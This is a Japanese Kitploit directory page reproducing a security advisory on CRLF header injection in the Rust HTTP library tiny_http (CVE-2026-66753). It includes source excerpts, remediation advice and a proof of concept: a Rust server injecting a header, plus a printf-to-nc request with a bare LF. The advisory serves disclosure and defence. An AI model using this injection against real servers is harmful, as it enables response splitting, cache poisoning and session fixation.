Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http- — セキュリティ勧告: ヘッダー値における未検証のCRおよびLFによるHTTPヘッダーインジェクション (tiny_http) | Kitploit
ツール/GitHubGitHub/theopaid/cve-2026-66753-http-header-injection-via-unvalidated-cr-and-lf-in-header-values-tiny_http-
脆弱性分析コード分析ウェブセキュリティ学習と教育厳選リソース
GitHubtheopaid/cve-2026-66753-http-header-injection-via-unvalidated-cr-and-lf-in-header-values-tiny_http-

CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http-

セキュリティ勧告: ヘッダー値における未検証のCRおよびLFによるHTTPヘッダーインジェクション (tiny_http)

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
23日前未レビュー

セキュリティアドバイザリ: HTTPヘッダー値における未検証のCRおよびLFによるHTTPヘッダーインジェクション (tiny_http)

割り当て済みCVE ID: CVE-2026-66753

概要

tiny_httpは、HTTPヘッダー値内のキャリッジリターン(CR)やラインフィード(LF)を、リクエスト側・レスポンス側のどちらでも拒否しません。

リクエスト側では、read_next_line はCRLFの場合にのみヘッダー行を終了するため、単独のLFはパースされた値の中に残り、アプリケーションに到達します。レスポンス側では、Header::from_bytes はバイトがASCIIであることだけを検証し、レスポンスライターは値をそのまま出力するため、CRLFを含む値はレスポンスを分割します。

リクエストヘッダー値をレスポンスヘッダーに反映するアプリケーションや、リクエストヘッダーを別の接続に再シリアライズするアプリケーションは、何か問題があることを示す兆候なしに、インジェクションのプリミティブを継承することになります。

影響を受けるバージョン

リポジトリURL: https://github.com/tiny-http/tiny-http

影響ありリリース済みの全バージョン、現在のリリースである0.12.0 (2022-10-06) まで
検証済み0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0
修正版執筆時点では修正版なし

これは、Transfer-Encoding のパースを対象とし0.6.3と0.8.0で修正された RUSTSEC-2020-0031 / CVE-2020-35884 とは異なります。ここで説明する動作は、その修正の前後両方に存在します。

深刻度

CWE-113 (HTTPヘッダーにおけるCRLFシーケンスの不適切な無効化) は、CWE-93 (CRLFインジェクション) の特定のケースです。

CVSS 4.0 基本スコア 6.3 (Medium) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

脅威モデル

任意のtiny_httpサーバーに生のHTTPを送信する、リモートかつ認証不要のクライアント。認証情報やユーザーの操作は不要です。

この問題を脆弱性にするのは、次の2つの利用形態です:

リクエストヘッダーの値をレスポンスヘッダーにコピーするアプリケーション。これはCORSオリジンエコー、リクエストデータから構築される Location ヘッダー、およびクッキー処理の背後にあるリフレクションパターンです。リクエスト値内の単独のLFはレスポンスに到達し、アプリケーションがレスポンス値を自ら構築する場合、完全なCRLFを運ぶことができます。

リバースプロキシのように、リクエストヘッダーを別の接続に再シリアライズするアプリケーション。単独のLFはアップストリームリクエストに書き込まれ、裸のLFをヘッダー行の終端として扱うバックエンドは、1つのリクエストを2つとして読み取ります。RFC 9112の2.2節は受信者がこれを行うことを許可しているため、そのようなバックエンドは仕様の範囲内です。Goの net/http とPythonの http.server はどちらもこれを受け入れることが測定で確認されています。

根本原因

リクエスト側

tiny_http-0.12.0/src/client.rs の80行目から102行目。このループは、LFの前にCRがある場合にのみ戻ります。単独のLFや単独のCRを含むその他のバイトはすべて、100行目でラインバッファにプッシュされます:

root@kitploit:~
 84          loop {
 85              let byte = self.next_header_source.by_ref().bytes().next();
...
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);
101          }

LFは0x0A、CRは0x0Dで、どちらも有効なASCIIであるため、94行目の AsciiString::from_ascii はこれらを受け入れます。

続いて tiny_http-0.12.0/src/common.rs の184行目から191行目は、値をトリムするだけです。trim は先頭と末尾の空白を削除しますが、内部のバイトはそのまま残します:

root@kitploit:~
184      fn from_str(input: &str) -> Result<Header, ()> {
185          let mut elems = input.splitn(2, ':');
186  
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

CRLFのペアは行を終了させるため残りませんが、単独のLF、単独のCR、および \n\r のようなシーケンスはすべて残る可能性があります。

レスポンス側

tiny_http-0.12.0/src/common.rs の166行目から172行目は、ASCIIのみをチェックします:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

tiny_http-0.12.0/src/response.rs の99行目から104行目は、値をエスケープなしで書き込みます:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

226行目の HeaderField::from_str はフィールド名の空白を拒否しますが、171行目の HeaderField::from_bytes は拒否しないため、レスポンスヘッダー名もチェックされないことに注意してください。

概念実証

手順1. パースされたリクエストヘッダー値を出力し、CRLFを含む値をレスポンスヘッダーにエコーするサーバーを起動します。

root@kitploit:~
use tiny_http::{Header, Response, Server};

fn main() {
    let server = Server::http("127.0.0.1:8004").unwrap();
    for request in server.incoming_requests() {
        for h in request.headers() {
            if h.field.equiv("X-Test") {
                println!("parsed X-Test value = {:?}", h.value.as_str());
            }
        }
        let evil = "a\r\nX-Injected: yes";
        let mut resp = Response::from_string("body");
        resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
        let _ = request.respond(resp);
    }
}

手順2. X-Test の値に裸のLFを含むリクエストを送信します。以下のコマンドでは、\n は単一のラインフィード、\r\n はCRLFです。この区別がテストの要点なので、エディタに正規化させないでください。

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004

stdout上の結果。LFはパースされた値の中に依然として残っています:

root@kitploit:~
parsed X-Test value = "aaa\nbbb"

ワイヤー上の結果。レスポンスヘッダーが2つに分割されました:

root@kitploit:~
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4

body

影響

tiny_http自体はリクエストヘッダーを再出力しないため、リクエスト側の動作は直接的な侵害ではなく潜在的なプリミティブです。これは、ヘッダー値を転送または反映する任意の利用者において悪用可能になり、LF耐性のあるバックエンドに対するリクエストスマグリングや、レスポンス内のヘッダーインジェクションを引き起こします。

レスポンス側の動作は、攻撃者の影響を受けるテキストをヘッダー値に配置する任意のアプリケーションで直接悪用可能です: オリジンのコンテキストでのスクリプトインジェクション、キャッシュポイズニング、注入された Set-Cookie によるセッションフィクセーション、およびセキュリティヘッダーの上書きです。

比較として、http クレートは HeaderValue::from_str でCRとLFを拒否するため、それに基づいて構築されたスタックはどちらの動作も公開しません。

修復策

両側の境界で制御文字を拒否します。

read_next_line (src/client.rs の80行目) では、ヘッダー行内の裸のCRまたは裸のLFを値に含めるのではなく、プロトコルエラーとして扱い400を返します。あるいは、分割後に Header::from_str (src/common.rs の184行目) でそれらを拒否します。

Header::from_bytes (src/common.rs の166行目) では、0x0D、0x0A、または0x00を含む値を拒否し、RFC 9110のトークンセット以外を含むフィールド名を拒否します。シグネチャが失敗可能 (フォーリブル) であるため、そこで Err を返すことはすでに呼び出し側で処理されています。

ツールをダウンロード